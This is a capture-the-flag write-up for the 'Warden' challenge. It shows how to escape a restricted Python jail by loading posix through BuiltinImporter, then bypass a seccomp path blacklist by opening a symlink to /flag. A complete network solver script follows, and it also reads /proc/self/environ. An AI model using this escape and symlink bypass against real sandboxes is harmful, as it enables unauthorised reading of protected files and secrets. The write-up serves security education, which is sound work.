Logo

Writeup

Warden 0xFun26 — Writeup

0 0xAsta
February 14, 2026
6 min read
pwn linux seccomp python

Warden — Writeup

This writeup details the solution for the “Warden” challenge. The service runs a restricted Python jail under a syscall supervisor that uses seccomp user notifications, and attempts to block sensitive file reads with a naive path-string blacklist.

Summary

The supervisor rejects open/openat calls when the pathname string begins with blacklisted prefixes (for example /flag). The bug is that it validates only the text argument passed to open/openat, not the resolved filesystem target.

By creating a symlink with an innocuous name (for example x -> /flag) and then doing open("x", ...), the Warden sees a safe-looking path ("x") while the kernel resolves it to the forbidden file.

To reach symlink/open/read/close from inside the Python jail (no import, no __ string literals, and no private attribute access), we load the built-in posix module via _frozen_importlib.BuiltinImporter, discovered using object.__subclasses__() with dynamically-built dunder names.

Key Code Snippets

The exploit has two key ingredients: (1) loading posix without an import, and (2) reading /flag via a symlink so the Warden never sees /flag in the syscall argument string.

Load posix without import:

du = '_'*2
subs = getattr(object, du+'subclasses'+du)()
kn = du+'name'+du
km = du+'module'+du
BI = None
for t in subs:
try:
if getattr(t, kn) == 'BuiltinImporter' and getattr(t, km) == '_frozen_importlib':
BI = t
break
except Exception:
pass
p = BI.load_module('posix')

Bypass the path blacklist using a symlink open:

p.chdir('/tmp')
p.symlink('/flag', 'x')
fd = p.open('x', 0) # Warden sees "x", kernel resolves x -> /flag
data = p.read(fd, 65536)
p.close(fd)

Analysis

Components

warden (syscall watcher):

warden.c installs a seccomp filter that returns SECCOMP_RET_USER_NOTIF for selected syscalls. The parent reads the tracee’s pathname with process_vm_readv, checks it against a small blacklist (/flag, /root, /etc/shadow, etc.), and either denies with -EACCES or continues the syscall using SECCOMP_USER_NOTIF_FLAG_CONTINUE.

This is a classic path-based policy mistake: the string passed to open("x") is not the same thing as the file ultimately opened after symlink resolution, .. traversal, bind mounts, etc.

jail.py (Python jail):

The jail parses user code with ast.parse and rejects various AST nodes. It forbids:

  1. import / from ... import ...
  2. eval/exec/compile/__import__/open calls
  3. Attribute access where the attribute name starts with _ (blocks obj.__class__, etc.)
  4. Any string literal containing __

It also executes with a small SAFE_BUILTINS (notably no __import__, __build_class__, etc.).

Why This Works

  1. Even in a jail, Python’s object model still exists. We can obtain object.__subclasses__() by building the dunder name at runtime and calling it via getattr.
  2. Among subclasses we can locate _frozen_importlib.BuiltinImporter and call load_module('posix') to get filesystem primitives without an import statement.
  3. The Warden’s enforcement point uses a string-prefix blacklist on syscall arguments. A symlink lets us keep the string benign while the resolved target points at the secret.

Exploitation and Flag Recovery

Step 1: Get posix in the jail

Use dynamically-generated dunder names plus getattr to avoid the jail’s AST filters, find BuiltinImporter, and load posix. This yields:

  1. p.symlink, p.unlink, p.chdir
  2. p.open, p.read, p.close
  3. p.listdir (optional for shallow discovery)
  1. chdir("/tmp") to a writable directory
  2. symlink("/flag", "x")
  3. open("x", O_RDONLY) and read(...)

Step 3: Send payload to the remote service

The service reads Python code from stdin until EOF, so the solver sends the payload then half-closes the socket write side to signal EOF.

Solver

#!/usr/bin/env python3
import argparse
import socket
import subprocess
import sys
def build_payload() -> str:
# This payload bypasses the AST restrictions and defeats the "blocked paths"
# check by opening a symlink whose textual path isn't blocked. The Warden only
# checks the *string argument* to open/openat, not the resolved path.
#
# Key constraints we satisfy:
# - No "import" statements (AST-blocked)
# - No string constants containing "__" (AST-blocked)
# - No attribute access like obj.__x__ (Attribute nodes with "_" prefix blocked)
# - No calling open() directly (blocked call)
#
# We dynamically construct "__subclasses__", find BuiltinImporter, load 'posix',
# then use posix.symlink + posix.open/read/close.
return r"""
du = '_'*2
subs = getattr(object, du+'subclasses'+du)()
kn = du+'name'+du
km = du+'module'+du
BI = None
for t in subs:
try:
if getattr(t, kn) == 'BuiltinImporter' and getattr(t, km) == '_frozen_importlib':
BI = t
break
except Exception:
pass
if BI is None:
print('no BuiltinImporter')
raise Exception('no BuiltinImporter')
p = BI.load_module('posix')
def slurp(target):
# Open via symlink "x" so the Warden only sees path "x" (not the real target).
p.chdir('/tmp')
try:
p.unlink('x')
except Exception:
pass
try:
p.symlink(target, 'x')
except Exception:
return None
try:
fd = p.open('x', 0)
except Exception:
return None
try:
data = p.read(fd, 65536)
except Exception:
data = None
try:
p.close(fd)
except Exception:
pass
return data
# We can't rely on SystemExit being available in SAFE_BUILTINS. Use a flag.
found = False
# Try the usual suspects first.
targets = [
'/flag',
'/flag.txt',
'/flag/flag',
'/home/ctf/flag',
'/home/ctf/flag.txt',
'/home/challenge/flag',
'/home/challenge/flag.txt',
'/app/flag',
'/app/flag.txt',
'/challenge/flag',
'/challenge/flag.txt',
'/srv/flag',
'/srv/flag.txt',
'/run/secrets/flag',
'/run/secrets/flag.txt',
]
for t in targets:
d = slurp(t)
if d:
try:
print(d.decode())
except Exception:
print(d)
found = True
break
def try_dir(base):
try:
names = p.listdir(base)
except Exception:
return False
for nm in names:
try:
s = nm.decode() if hasattr(nm, 'decode') else str(nm)
except Exception:
continue
sl = s.lower()
# Avoid matching unrelated files like "payload_flaglike.py".
if not (sl == 'flag' or sl == 'flag.txt' or sl.startswith('flag')):
continue
if 'payload' in sl:
continue
cand = base.rstrip('/') + '/' + s
d = slurp(cand)
if d:
try:
print(d.decode())
except Exception:
print(d)
return True
return False
# Shallow scan common directories for anything with "flag" in the filename.
if not found:
for base in ['/', '/home', '/app', '/challenge', '/srv', '/var', '/opt']:
if try_dir(base):
found = True
break
# Local fallback: prove execution in case the flag isn't reachable.
if not found:
d = slurp('/proc/self/environ')
if d:
try:
# Often flags are provided as env vars. Make NUL-separated data readable.
print(d.replace(b'\x00', b'\n').decode())
found = True
except Exception:
pass
if not found:
d = slurp('/etc/hostname')
if d:
try:
print(d.decode())
except Exception:
print(d)
""".lstrip("\n")
def solve_remote(host: str, port: int, timeout: float) -> str:
payload = build_payload().encode()
with socket.create_connection((host, port), timeout=timeout) as s:
# The jail reads until EOF. Send payload then half-close write end.
s.sendall(payload)
try:
s.shutdown(socket.SHUT_WR)
except OSError:
pass
s.settimeout(timeout)
chunks = []
while True:
try:
b = s.recv(4096)
except socket.timeout:
break
if not b:
break
chunks.append(b)
return b"".join(chunks).decode(errors="replace")
def solve_local(timeout: float) -> str:
payload = build_payload().encode()
# Warden only allows the first exec*. Use the absolute python path to avoid
# wrapper execs (e.g. /usr/bin/python3 -> python3.14).
p = subprocess.run(
["./warden", "/usr/bin/python3", "jail.py"],
input=payload,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=timeout,
)
return p.stdout.decode(errors="replace")
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="chall.0xfun.org")
ap.add_argument("--port", default=24146, type=int)
ap.add_argument("--timeout", default=10.0, type=float)
ap.add_argument("--local", action="store_true", help="run against local ./warden + jail.py")
args = ap.parse_args()
try:
out = solve_local(args.timeout) if args.local else solve_remote(args.host, args.port, args.timeout)
except (OSError, subprocess.TimeoutExpired) as e:
print(f"[!] failed: {e}", file=sys.stderr)
return 2
sys.stdout.write(out)
if out and not out.endswith("\n"):
sys.stdout.write("\n")
return 0
if __name__ == "__main__":
raise SystemExit(main())

Final Result

0xfun{wh0_w4tch3s_th3_w4rd3n_t0ctou_r4c3}